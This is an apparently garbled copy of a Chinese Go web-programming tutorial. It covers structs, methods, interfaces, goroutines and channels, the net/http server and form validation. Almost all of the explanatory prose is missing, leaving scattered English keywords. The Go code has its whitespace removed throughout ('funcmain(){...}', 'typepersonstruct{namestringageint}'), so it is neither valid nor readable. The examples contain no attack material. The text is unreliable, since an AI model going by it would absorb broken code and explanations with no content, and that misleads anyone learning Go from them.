funcfilter(slice[]int,ftestInt)[]int{varresult[]intfor_,value:=rangeslice{iff(value){result=append(result,value)}}returnresult}

funcmain(){slice:=[]int{1,2,3,4,5,7}fmt.Println("slice=",slice)odd:=filter(slice,isOdd)//fmt.Println("Oddelementsofsliceare:",odd)even:=filter(slice,isEven)//fmt.Println("Evenelementsofsliceare:",even)}

testInt filtertestInt

Panic Recover

GoJava panicrecover panic

Panic

FpanicF FF Fpanic panicgoroutine panic

Recover

goroutine recover recovernil goroutine recoverpanic

panic

varuser=os.Getenv("USER")

funcinit(){ifuser==""{panic("novaluefor$USER")}}

panic

functhrowsPanic(ffunc())(bbool){deferfunc(){ifx:=recover();x!=nil{b=true}}()f()//ffpanicreturn}

maininit

Go init packagemain packagemain packageinitpackageinit

Goinit()main() packageinit packagemainmain

main main fmt init main maininit main

2.6main

import

Goimport

import("fmt")

fmt.Println("helloworld")

fmtGo GOROOTGoimport

1.

import“./model”//modelimport

2.

import“shorturl/model”//gopath/src/shorturl/model

importimport

1.

import(."fmt")

fmt.Println("helloworld")Println("helloworld")

2.

import(f"fmt")

f.Println("helloworld")

3. _

import

import("database/sql"_"github.com/ziutek/mymysql/godrv")

_init

links

: Go: struct

2.4struct

struct

GoC person struct:

typepersonstruct{namestringageint}

struct

stringnameintage,

struct

typepersonstruct{namestringageint}

varPperson//Pperson

P.name="Astaxie"//"Astaxie"Pname.P.age=25//"25"Pagefmt.Printf("Theperson'snameis%s",P.name)//Pname.

P

1.

P:=person{"Tom",25}

2.field:value

P:=person{age:24,name:"Tom"}

3.newP*person

P:=new(person)

struct

packagemain

import"fmt"

//typepersonstruct{namestringageint}

////structfuncOlder(p1,p2person)(person,int){ifp1.age>p2.age{//p1p2returnp1,p1.age-p2.age}returnp2,p2.age-p1.age}

funcmain(){vartomperson

//tom.name,tom.age="Tom",18

//bob:=person{age:25,name:"Bob"}

//structpaul:=person{"Paul",43}

tb_Older,tb_diff:=Older(tom,bob)tp_Older,tp_diff:=Older(tom,paul)bp_Older,bp_diff:=Older(bob,paul)

fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,bob.name,tb_Older.name,tb_diff)

fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,paul.name,tp_Older.name,tp_diff)

fmt.Printf("Of%sand%s,%sisolderby%dyears\n",bob.name,paul.name,bp_Older.name,bp_diff)}

struct

structGo

structstructstruct

packagemain

import"fmt"

typeHumanstruct{namestringageint

weightint}

typeStudentstruct{Human//StudentHumanspecialitystring}

funcmain(){//mark:=Student{Human{"Mark",25,120},"ComputerScience"}

//fmt.Println("Hisnameis",mark.name)fmt.Println("Hisageis",mark.age)fmt.Println("Hisweightis",mark.weight)fmt.Println("Hisspecialityis",mark.speciality)//mark.speciality="AI"fmt.Println("Markchangedhisspeciality")fmt.Println("Hisspecialityis",mark.speciality)//fmt.Println("Markbecomeold")mark.age=46fmt.Println("Hisageis",mark.age)//fmt.Println("Markisnotanathletanymore")mark.weight+=60fmt.Println("Hisweightis",mark.weight)}

:

2.7structStudentHumanstructstring

StudentagenamestudentHuman

mark.Human=Human{"Marcus",55,220}mark.Human.age-=1

struct

packagemain

import"fmt"

typeSkills[]string

typeHumanstruct{namestringageint

weightint}

typeStudentstruct{Human//structSkills//stringsliceint//specialitystring}

funcmain(){//Janejane:=Student{Human:Human{"Jane",35,100},speciality:"Biology"}//fmt.Println("Hernameis",jane.name)fmt.Println("Herageis",jane.age)fmt.Println("Herweightis",jane.weight)fmt.Println("Herspecialityis",jane.speciality)//skilljane.Skills=[]string{"anatomy"}fmt.Println("Herskillsare",jane.Skills)fmt.Println("Sheacquiredtwonewones")jane.Skills=append(jane.Skills,"physics","golang")fmt.Println("Herskillsnoware",jane.Skills)//jane.int=3fmt.Println("Herpreferrednumberis",jane.int)}

structstructappend

humanphonestudentphone

Go student.phonestudenthuman

packagemain

import"fmt"

typeHumanstruct{namestringageintphonestring//Human}

typeEmployeestruct{Human//Humanspecialitystringphonestring//phone}

funcmain(){Bob:=Employee{Human{"Bob",34,"777-444-XXXX"},"Designer","333-222"}fmt.Println("Bob'sworkphoneis:",Bob.phone)//Humanphonefmt.Println("Bob'spersonalphoneis:",Bob.Human.phone)}

links

::

2.5structstruct method

method

struct

packagemain

import"fmt"

typeRectanglestruct{width,heightfloat64}

funcarea(rRectangle)float64{returnr.width*r.height}

funcmain(){r1:=Rectangle{12,2}r2:=Rectangle{9,4}fmt.Println("Areaofr1is:",area(r1))fmt.Println("Areaofr2is:",area(r2))}

area()RectangleRectangler1,r2

area_rectangle,area_circle,area_triangle...

,struct(class)structstruct

2.8struct

""""

method method funcreceiver(method)

method area()(Rectangle)Rectangle.area()Rectanglearea()Rectangle

Rectanglelengthwidth,area(),Rectangle

RobPike

"Amethodisafunctionwithanimplicitfirstargument,calledareceiver."

method

func(rReceiverType)funcName(parameters)(results)

method

packagemain

import("fmt""math")

typeRectanglestruct{width,heightfloat64}

typeCirclestruct{radiusfloat64}

func(rRectangle)area()float64{returnr.width*r.height}

func(cCircle)area()float64{returnc.radius*c.radius*math.Pi}

funcmain(){r1:=Rectangle{12,2}r2:=Rectangle{9,4}c1:=Circle{10}

c2:=Circle{25}

fmt.Println("Areaofr1is:",r1.area())fmt.Println("Areaofr2is:",r2.area())fmt.Println("Areaofc1is:",c1.area())fmt.Println("Areaofc2is:",c2.area())}

method

methodmethodmethodmethod.struct

:

2.9structmethod

methodarea()RectangleCircleReceiverRectangleCircle,area()Rectangle/Circle

methodReceiverReceiver,,Receiver,Receiver,

methodstructstructstructstruct

typetypeNametypeLiteral

typeagesint

typemoneyfloat32

typemonthsmap[string]int

m:=months{"January":31,"February":28,..."December":31,}

,ctypedefagesint

method

method

packagemain

import"fmt"

const(WHITE=iotaBLACKBLUEREDYELLOW)

typeColorbyte

typeBoxstruct{

width,height,depthfloat64colorColor}

typeBoxList[]Box//asliceofboxes

func(bBox)Volume()float64{returnb.width*b.height*b.depth}

func(b*Box)SetColor(cColor){b.color=c}

func(blBoxList)BiggestColor()Color{v:=0.00k:=Color(WHITE)for_,b:=rangebl{ifbv:=b.Volume();bv>v{v=bvk=b.color}}returnk}

func(blBoxList)PaintItBlack(){fori,_:=rangebl{bl[i].SetColor(BLACK)}}

func(cColor)String()string{strings:=[]string{"WHITE","BLACK","BLUE","RED","YELLOW"}returnstrings[c]}

funcmain(){boxes:=BoxList{Box{4,4,4,RED},Box{10,10,1,YELLOW},Box{1,1,20,BLACK},Box{10,10,1,BLUE},Box{10,30,1,WHITE},Box{20,20,20,YELLOW},

}

fmt.Printf("Wehave%dboxesinourset\n",len(boxes))fmt.Println("Thevolumeofthefirstoneis",boxes[0].Volume(),"cm³")fmt.Println("Thecolorofthelastoneis",boxes[len(boxes)-1].color.String())fmt.Println("Thebiggestoneis",boxes.BiggestColor().String())

fmt.Println("Let'spaintthemallblack")boxes.PaintItBlack()fmt.Println("Thecolorofthesecondoneis",boxes[1].color.String())

fmt.Println("Obviously,now,thebiggestoneis",boxes.BiggestColor().String())}

const

Colorbytestruct:Boxslice:BoxListBox

method

Volume()BoxBoxSetColor(cColor)BoxcBiggestColor()BoxListlistPaintItBlack()BoxListBoxString()ColorColor()

receiver

SetColormethodreceiverBox*BoxBox

SetColorBoxBoxSetColorBoxcopymethodBoxcopyBox

receivermethod

SetColor*b.Color=c,b.Color=c,

Go()GoGo

PaintItBlackSetColor (&bl[i]).SetColor(BLACK)SetColorreceiver*BoxBox

Goreceiver

methodreceiver*T,TVmethod&Vmethod

methodreceiverT TPmethod Pmethod

methodmethodGoC/C++

method

Gomethodmethodstructmethod

packagemain

import"fmt"

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Human//schoolstring

}

typeEmployeestruct{Human//companystring}

//humanmethodfunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}

mark.SayHi()sam.SayHi()}

method

EmployeeSayHi,Employeemethod

packagemain

import"fmt"

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Human//schoolstring}

typeEmployeestruct{

Human//companystring}

//Humanmethodfunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

//EmployeemethodHumanmethodfunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//Yesyoucansplitinto2lineshere.}

funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}

mark.SayHi()sam.SayHi()}

Go

Go()

links

: struct: interface

2.6interface

interface

Gointerfaceinterface

interface

interfacemethodinterface

StudentEmployeeSayHi sayhi

StudentEmployee SingStudentBorrowMoneyEmployeeSpendSalary

StudentSayHiSingBorrowMoneyEmployeeSayHiSingSpendSalary

interface(StudentEmployee)StudentEmployeeinterfaceSayHiSinginterfaceEmployeeinterfaceSayHiSingBorrowMoneyEmployeeBorrowMoney

interface

interface

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Human//Humanschoolstringloanfloat32}

typeEmployeestruct{Human//Humancompanystringmoneyfloat32

}

//HumanSayhifunc(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

//HumanSingfunc(h*Human)Sing(lyricsstring){fmt.Println("Lala,lalala,lalalalala...",lyrics)}

//HumanGuzzlefunc(h*Human)Guzzle(beerSteinstring){fmt.Println("GuzzleGuzzleGuzzle...",beerStein)}

//EmployeeHumanSayhifunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//}

//StudentBorrowMoneyfunc(s*Student)BorrowMoney(amountfloat32){s.loan+=amount//(againandagainand...)}

//EmployeeSpendSalaryfunc(e*Employee)SpendSalary(amountfloat32){e.money-=amount//Morevodkaplease!!!Getmethroughtheday!}

//interfacetypeMeninterface{SayHi()Sing(lyricsstring)Guzzle(beerSteinstring)}

typeYoungChapinterface{SayHi()Sing(songstring)

BorrowMoney(amountfloat32)}

typeElderlyGentinterface{SayHi()Sing(songstring)SpendSalary(amountfloat32)}

interfaceMeninterfaceHumanStudentEmployeeinterfaceStudentMenYoungChapinterface

interface(interface{})0methodinterface

interface

interfaceinterfaceinterfaceMeninterfacemmHumanStudentEmployee

mMenslicesliceMenslice

:

packagemain

import"fmt"

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Human//schoolstringloanfloat32}

typeEmployeestruct{

Human//companystringmoneyfloat32}

//HumanSayHifunc(hHuman)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

//HumanSingfunc(hHuman)Sing(lyricsstring){fmt.Println("Lalalala...",lyrics)}

//EmployeeHumanSayHifunc(eEmployee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)}

//InterfaceMenHuman,StudentEmployee//typeMeninterface{SayHi()Sing(lyricsstring)}

funcmain(){mike:=Student{Human{"Mike",25,"222-222-XXX"},"MIT",0.00}paul:=Student{Human{"Paul",26,"111-222-XXX"},"Harvard",100}sam:=Employee{Human{"Sam",36,"444-222-XXX"},"GolangInc.",1000}tom:=Employee{Human{"Tom",37,"222-444-XXX"},"ThingsLtd.",5000}

//MenivariMen

//iStudenti=mikefmt.Println("ThisisMike,aStudent:")

i.SayHi()i.Sing("Novemberrain")

//iEmployeei=tomfmt.Println("Thisistom,anEmployee:")i.SayHi()i.Sing("Borntobewild")

//sliceMenfmt.Println("Let'suseasliceofMenandseewhathappens")x:=make([]Men,3)//interfacex[0],x[1],x[2]=paul,sam,mike

for_,value:=rangex{value.SayHi()}}

interfaceinterfaceGointerfaceduck-typing:""

interface

interface(interface{})methodinterfaceinterface(methodinterfaceCvoid*

//avarainterface{}variint=5s:="Helloworld"//aa=ia=s

interface{}interface{},

interface

interfaceinterface(method)interface

fmt.Printlnfmt:

typeStringerinterface{String()string}

Stringfmt.Println,

packagemainimport("fmt""strconv")

typeHumanstruct{namestringageintphonestring}

//Humanfmt.Stringerfunc(hHuman)String()string{return"❰"+h.name+"-"+strconv.Itoa(h.age)+"years-✆"+h.phone+"❱"}

funcmain(){Bob:=Human{"Bob",39,"000-7777-XXX"}fmt.Println("ThisHumanis:",Bob)}

BoxColormethodStringfmt.StringerinterfacefmtStringerfmt

//

fmt.Println("Thebiggestoneis",boxes.BiggestsColor().String())fmt.Println("Thebiggestoneis",boxes.BiggestsColor())

errorError()stringfmtError()String()

interface

interface(interface)

Comma-ok

Govalue,ok=element.(T)valueokboolelementinterfaceT

elementToktruefalse

packagemain

import("fmt""strconv")

typeElementinterface{}typeList[]Element

typePersonstruct{namestringageint}

//Stringfmt.Stringerfunc(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}

funcmain(){

list:=make(List,3)list[0]=1//anintlist[1]="Hello"//astringlist[2]=Person{"Dennis",70}

forindex,element:=rangelist{ifvalue,ok:=element.(int);ok{fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)}elseifvalue,ok:=element.(string);ok{fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)}elseifvalue,ok:=element.(Person);ok{fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)}else{fmt.Printf("list[%d]isofadifferenttype\n",index)}}}

ifif

ifelseswitch

switch

packagemain

import("fmt""strconv")

typeElementinterface{}typeList[]Element

typePersonstruct{namestring

ageint}

//func(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}

funcmain(){list:=make(List,3)list[0]=1//anintlist[1]="Hello"//astringlist[2]=Person{"Dennis",70}

forindex,element:=rangelist{switchvalue:=element.(type){caseint:fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)casestring:fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)casePerson:fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)default:fmt.Println("list[%d]isofadifferenttype",index)}}}

element.(type)switchswitch comma-ok

interface

GoStructinterfaceinterface1interface2interface2interface1method

container/heap

typeInterfaceinterface{sort.Interface//sort.InterfacePush(xinterface{})//aPushmethodtopushelementsintotheheapPop()interface{}//aPopelementsthatpopselementsfromtheheap}

sort.Interfacesort.Interfacemethod

typeInterfaceinterface{//Lenisthenumberofelementsinthecollection.Len()int//Lessreturnswhethertheelementwithindexishouldsort

//beforetheelementwithindexj.Less(i,jint)bool//Swapswapstheelementswithindexesiandj.Swap(i,jint)}

ioio.ReadWriterioReaderWriterinterface

//io.ReadWritertypeReadWriterinterface{ReaderWriter}

Goreflectreflectreflect lawsofreflection

reflect(interface)reflect(reflect.Typereflect.Value)

t:=reflect.TypeOf(i)//,tv:=reflect.ValueOf(i)//v

reflectreflect

tag:=t.Elem().Field(0).Tag//structname:=v.Elem().Field(0).String()//

varxfloat64=3.4v:=reflect.ValueOf(x)fmt.Println("type:",v.Type())fmt.Println("kindisfloat64:",v.Kind()==reflect.Float64)fmt.Println("value:",v.Float())

varxfloat64=3.4v:=reflect.ValueOf(x)v.SetFloat(7.1)

varxfloat64=3.4p:=reflect.ValueOf(&x)v:=p.Elem()v.SetFloat(7.1)

links

::

2.7Go21CGo21Go

goroutine

goroutineGogoroutinegoroutineGogoroutinegoroutine(4~5KB)goroutinethread

goroutineGoruntimegoroutine go

gohello(a,b,c)

gogoroutine

packagemain

import("fmt""runtime")

funcsay(sstring){fori:=0;i<5;i++{

runtime.Gosched()fmt.Println(s)}}

funcmain(){gosay("world")//Goroutinessay("hello")//Goroutines}

////hello//world//hello//world//hello//world//hello//world//hello

gogoroutine

runtime.Gosched()CPU,goroutine

Go1.5runtime.GOMAXPROCS1CPU

Go1.5runtime.GOMAXPROCS(n)GOMAXPROCSn<1

channels

goroutinegoroutineGochannelchannelUnixshellchannelchannelchannelmakechannel

ci:=make(chanint)cs:=make(chanstring)cf:=make(chaninterface{})

channel<-

ch<-v//vchannelch.v:=<-ch//chv

packagemain

import"fmt"

funcsum(a[]int,cchanint){total:=0for_,v:=rangea{total+=v}c<-total//sendtotaltoc}

funcmain(){a:=[]int{7,2,8,-9,4,0}

c:=make(chanint)gosum(a[:len(a)/2],c)gosum(a[len(a)/2:],c)x,y:=<-c,<-c//receivefromc

fmt.Println(x,y,x+y)}

channelGoroutineslockvalue:=<-chch<-5channelgoroutine

BufferedChannels

channelGochannelchannelch:=make(chanbool,4)4boolchannel

channel45goroutinechannel

ch:=make(chantype,value)

value=0channelvalue>0channelvalue

value

packagemain

import"fmt"

funcmain(){c:=make(chanint,2)//2123c<-1c<-2fmt.Println(<-c)fmt.Println(<-c)}//1://fatalerror:allgoroutinesareasleep-deadlock!

Range Close

cGorangeslicemapchannel

packagemain

import("fmt")

funcfibonacci(nint,cchanint){x,y:=1,1fori:=0;i<n;i++{

c<-xx,y=y,x+y}close(c)}

funcmain(){c:=make(chanint,10)gofibonacci(cap(c),c)fori:=rangec{fmt.Println(i)}}

fori:=rangecchannelchannelchannel closechannelchannel v,ok:=<-chchannelokfalsechannel

channelpanic

channelrange

Select

channelchannelGo selectselectchannel

selectchannelchannelselect

packagemain

import"fmt"

funcfibonacci(c,quitchanint){x,y:=1,1for{select{casec<-x:x,y=y,x+ycase<-quit:fmt.Println("quit")

return}}}

funcmain(){c:=make(chanint)quit:=make(chanint)gofunc(){fori:=0;i<10;i++{fmt.Println(<-c)}quit<-0}()fibonacci(c,quit)}

selectdefault selectswitchdefaultchannelselectchannel

select{casei:=<-c://useidefault://c}

goroutineselect

funcmain(){c:=make(chanint)o:=make(chanbool)gofunc(){for{select{casev:=<-c:

println(v)case<-time.After(5*time.Second):println("timeout")o<-truebreak}}}()<-o}

runtimegoroutine

runtimegoroutine

Goexit

goroutinedefer

Gosched

goroutine

NumCPU

CPU

NumGoroutine

GOMAXPROCS

CPU

links

: interface:

2.8GoGo

breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar

varconst2.2Gopackageimportfuncreturndefergoselectinterface2.6struct2.5breakcasecontinueforfallthroughelseifswitchgotodefault2.3chanchanneltypemapmaprangeslicemapchannel

Go

links

:: Web

3WebWebGoWebGoHTTPWebWebWebGoWeb

links

:: Web

3.1Web,

URLDNSDNSIPIPIPTCPHTTPRequestHTTP

ResponseResponsebodyTCP

3.1Web

WebHTTPHTTPWeb()

Web

TCP/IPTCPHTTPHTTP“”HTML

HTTP

URL DNS

URLURL

URL(UniformResourceLocator)“”,

scheme://host[:port#]/path/.../[?query-string][#anchor]scheme(http,https,ftp)hostHTTPIPport#HTTP80http://www.cnblogs.com:8080/

pathquery-stringhttpanchor

DNS(DomainNameSystem)“”TCP/IPIPDNS“”

3.2DNS

DNSDNS

1. www.qq.comhostsIP

2. hostsDNS

3. hostsDNSTCP/IPDNSDNS

4. DNSIP

5. DNSDNSDNS“DNS”“DNS”(.com)IPDNSIP.com

.com.comDNS(qq.com)DNSDNSqq.comwww.qq.com

6. DNSDNSDNSDNSDNSDNS

3.3DNS

“”, “”

()xxxxxxyyxxyy()

IPIP

HTTP

HTTPWebWebHTTP

HTTPWeb()Internet,TCPTCP80--HTTPHTTP“”HTTP

HTTPHTTPWebCookie

HTTPTCPTCPHTTPSYNFloodDoSDdoSTCPTCPCPU

HTTP

Request,Request3Requestline,Requestheader,bodyheaderbody:

GET/domains/example/HTTP/1.1//:URIHTTP/Hostwww.iana.org //User-AgentMozilla /5.0(WindowsNT6.1)AppleWebKit/537.4(KHTML,likeGecko)Chrome/22.0.1229.94Safari/537.4//Accepttext /html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8//mineAccept-Encodinggzip,deflate,sdch //Accept-CharsetUTF- 8,*;q=0.5////,//,,POST

HTTP4GET,POST,PUT,DELETEURLHTTPGET,POST,PUT,DELETE4GETPOSTGET/POST

fiddler:

3.4fiddlerGET

3.5fiddlerPOST

GETPOST:

1. GETPOST2. GETURL ?URL & EditPosts.aspx?name=test1&id=123456POST

HTTPbody3. GETURLPOST4. GETGETURL

HTTP

HTTPresponse

HTTP/1.1200OK//Server:nginx/1.0.8//WEBDate:Date:Tue,30Oct201204:14:25GMT//Content-Type:text/html//Transfer-Encoding:chunked//HTTPConnection:keep-alive//Content-Length:90////<!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN"...//

ResponseHTTP

HTTP,HTTPResponseHTTP/1.15

1XX -2XX -3XX -4XX -5XX -

200302responseheader

3.6

HTTP Connection:keep-alive

HTTPHTTPTCPHTTPUDP

HTTP/1.1Keep-AliveHTTPTCPTCP

Keep-AliveApache

3.7requestresponse

URL(go)

urlhtmlHTMLHTMLDOMcssjsHTTP

HTTPcssjs

links

: Web: GoWeb

3.2Go WebWebhttpGonet/httphttpWebWebcookie

http Web

packagemain

import("fmt""net/http""strings""log")

funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//fmt.Println(r.Form)//fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//w}

funcmain(){http.HandleFunc("/",sayhelloName)//err:=http.ListenAndServe(":9090",nil)//iferr!=nil{log.Fatal("ListenAndServe:",err)}}

buildweb.exe,9090http

http://localhost:9090

Helloastaxie!

http://localhost:9090/?url_long=111&url_long=222

3.8Web

Webhttp

PHPnginxapacheGotcpnginxsayhelloNamephpcontroller

PythontornadoGoPythonWeb

RubyROR/script/server

GoWebWebGoWeb

links

: Web: Goweb

3.3Go WebGoWebnet/httpGoGoWebWeb

web

Requestpostgetcookieurl

Response

Conn

Handler

http

GoWeb

3.9http

1. ListenSocket,,

2. ListenSocket,ClientSocket,ClientSocket

3. ,ClientSocketHTTP,POST,,handler,handler,ClientSocket

GoWeb

handler

Go ListenAndServeserver net.Listen("tcp",addr)TCP

Gohttphttp

func(srv*Server)Serve(lnet.Listener)error{deferl.Close()vartempDelaytime.Duration//howlongtosleeponacceptfailurefor{rw,e:=l.Accept()ife!=nil{ifne,ok:=e.(net.Error);ok&&ne.Temporary(){iftempDelay==0{tempDelay=5*time.Millisecond}else{tempDelay*=2}ifmax:=1*time.Second;tempDelay>max{tempDelay=max}log.Printf("http:Accepterror:%v;retryingin%v",e,tempDelay)time.Sleep(tempDelay)continue}returne}tempDelay=0c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()}}

srv.Serve(net.Listener) for{}ListenerConngoroutineconngoc.serve()goroutine

connrequest: c.readRequest(),handler:handler:=c.server.HandlerListenAndServenil handler=DefaultServeMux,urlhandle?http.HandleFunc("/",sayhelloName) /uri"/"sayhelloNameDefaultServeMuxServeHTTPsayhelloNameresponse

3.10http

GoWeb

links

: GOweb: Gohttp

3.4Go http

GoWebhttp

GohttpConnServeMux

Conn goroutine

http,Go,goroutinesConn,Go

Go

c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()

ConnConnhandlerhandlerheader

ServeMux

conn.serverhttp

typeServeMuxstruct{musync.RWMutex//mmap[string]muxEntry//stringmuxstring

hostsbool//host}

muxEntry

typemuxEntrystruct{explicitbool//hHandler//handlerpatternstring//}

Handler

typeHandlerinterface{ServeHTTP(ResponseWriter,*Request)//}

Handler sayhelloNameServeHTTPhttp HandlerFunc,sayhelloNameHandlerFuncServeHTTPHandlerFunc(f),fHandlerFuncfServeHTTP

typeHandlerFuncfunc(ResponseWriter,*Request)

//ServeHTTPcallsf(w,r).func(fHandlerFunc)ServeHTTP(wResponseWriter,r*Request){f(w,r)}

ServeHTTP

func(mux*ServeMux)ServeHTTP(wResponseWriter,r*Request){ifr.RequestURI=="*"{w.Header().Set("Connection","close")w.WriteHeader(StatusBadRequest)return}h,_:=mux.Handler(r)h.ServeHTTP(w,r)}

* mux.Handler(r)Handler h.ServeHTTP(w,r)

handlerServerHTTPmux.Handler(r)

func(mux*ServeMux)Handler(r*Request)(hHandler,patternstring){ifr.Method!="CONNECT"{ifp:=cleanPath(r.URL.Path);p!=r.URL.Path{_,pattern=mux.handler(r.Host,p)returnRedirectHandler(p,StatusMovedPermanently),pattern}}returnmux.handler(r.Host,r.URL.Path)}

func(mux*ServeMux)handler(host,pathstring)(hHandler,patternstring){mux.mu.RLock()defermux.mu.RUnlock()

//Host-specificpatterntakesprecedenceovergenericonesifmux.hosts{h,pattern=mux.match(host+path)}ifh==nil{h,pattern=mux.match(path)}ifh==nil{h,pattern=NotFoundHandler(),""}return}

URLmaphandlerhandlerServeHTTP

Go ListenAndServeHandlerHandler,ServeHTTP

packagemain

import("fmt""net/http")

typeMyMuxstruct{}

func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}http.NotFound(w,r)return}

funcsayhelloName(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hellomyroute!")}

funcmain(){mux:=&MyMux{}http.ListenAndServe(":9090",mux)}

Go

http

Http.HandleFunc

1DefaultServeMuxHandleFunc

2DefaultServeMuxHandle

3DefaultServeMuxmap[string]muxEntryhandler

http.ListenAndServe(":9090",nil)

1Server

2ServerListenAndServe()

3net.Listen("tcp",addr)

4forAccept

5Conngoroutinegoc.serve()

6w,err:=c.readRequest()

7handlerhandlerhandlerhandlerDefaultServeMux

8handlerServeHttp

9DefaultServeMux.ServeHttp

10requesthandlerhandlerServeHTTP

mux.handler(r).ServeHTTP(w,r)

11handler

ArequestServerMuxmuxEntry

BhandlerServeHttp

CNotFoundHandlerServeHttp

links

: Goweb:

3.5HTTP,DNS,gowebservernet/httpserver

GoWebGoWeb

links

: Gohttp:

4WebWebC/C++

\

<form>...input...</form>

GoformRequestformWeb4.1Go4.2

HTTP4.34.4cookie(cookieheader)

Go4.5Go

links

::

4.1login.gtpl()

<html><head><title></title></head><body><formaction="/login"method="post">: <inputtype="text"name="username">: <inputtype="password"name="password"><inputtype="submit"value="" >

</form></body></html>

/login loginPOSTGET

httpwebloginform

packagemain

import("fmt""html/template""log""net/http""strings")

funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//urlPOSTrequestbody

//:ParseFormfmt.Println(r.Form)//fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//w}

funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")log.Println(t.Execute(w,nil))}else{//fmt.Println("username:",r.Form["username"])fmt.Println("password:",r.Form["password"])

}}

funcmain(){http.HandleFunc("/",sayhelloName)//http.HandleFunc("/login",login)//err:=http.ListenAndServe(":9090",nil)//iferr!=nil{log.Fatal("ListenAndServe:",err)}}

r.MethodGET,POST,PUTmethod

loginr.MethodGET

http://127.0.0.1:9090/login

login.gtpl

4.1

Handlerform r.ParseForm() fmt.Println("username:",r.Form["username"])r.ParseForm(),

r.FormURLquery-stringPOSTPUTURLquery-stringPOSTsliceGoPOSTGET

login.gtplformactionhttp://127.0.0.1:9090/loginhttp://127.0.0.1:9090/login?username=astaxieusernameslice

4.2

request.Formurl.Values key=valueform:

v:=url.Values{}v.Set("name","Ava")v.Add("friend","Jess")v.Add("friend","Sarah")v.Add("friend","Zoe")//v.Encode()=="name=Ava&friend=Jess&friend=Sarah&friend=Zoe"fmt.Println(v.Get("name"))fmt.Println(v.Get("friend"))fmt.Println(v["friend"])

Tips:RequestFormValue()r.Form["username"]r.FormValue("username")r.FormValuer.ParseFormr.FormValue

links

::

4.2WebWeb

Webjs(ValidationJS)

Go lenlen

iflen(r.Form["username"][0])==0{//}

r.Form,r.Form r.Form.Get() r.Form.Get()map

5010“”“”

int

getint,err:=strconv.Atoi(r.Form.Get("age"))iferr!=nil{//}

//ifgetint>100{//}

ifm,_:=regexp.MatchString("^[0-9]+$",r.Form.Get("age"));!m{returnfalse}

Go

GoRE2UTF-8

unicode funcIs(rangeTab*RangeTable,rrune)bool

ifm,_:=regexp.MatchString("^\\p{Han}+$",r.Form.Get("realname"));!m{returnfalse}

astaxieasta

ifm,_:=regexp.MatchString("^[a-zA-Z]+$",r.Form.Get("engname"));!m{returnfalse}

Email

ifm,_:=regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`,r.Form.Get("email"));!m{fmt.Println("no")}else{fmt.Println("yes")}

ifm,_:=regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`,r.Form.Get("mobile"));!m{returnfalse}

<select>

select

<selectname="fruit"><optionvalue="apple">apple</option><optionvalue="pear">pear</option><optionvalue="banane">banane</option></select>

slice:=[]string{"apple","pear","banane"}

v:=r.Form.Get("fruit")for_,itemrangeslice{ifitem==v{returntrue}}

returnfalse

radio15httptelnet123

<inputtype="radio"name="gender"value="1"><inputtype="radio"name="gender"value="2">

slice:=[]int{1,2}

for_,v:=rangeslice{ifv==r.Form.Get("gender"){returntrue}}returnfalse

<inputtype="checkbox"name="interest"value="football"><inputtype="checkbox"name="interest"value="basketball"><inputtype="checkbox"name="interest"value="tennis">

slice

slice:=[]string{"football","basketball","tennis"}a:=Slice_diff(r.Form["interest"],slice)ifa==nil{returntrue}

returnfalse

Slice_diff(slicemap) https://github.com/astaxie/beeku

845

Gotime

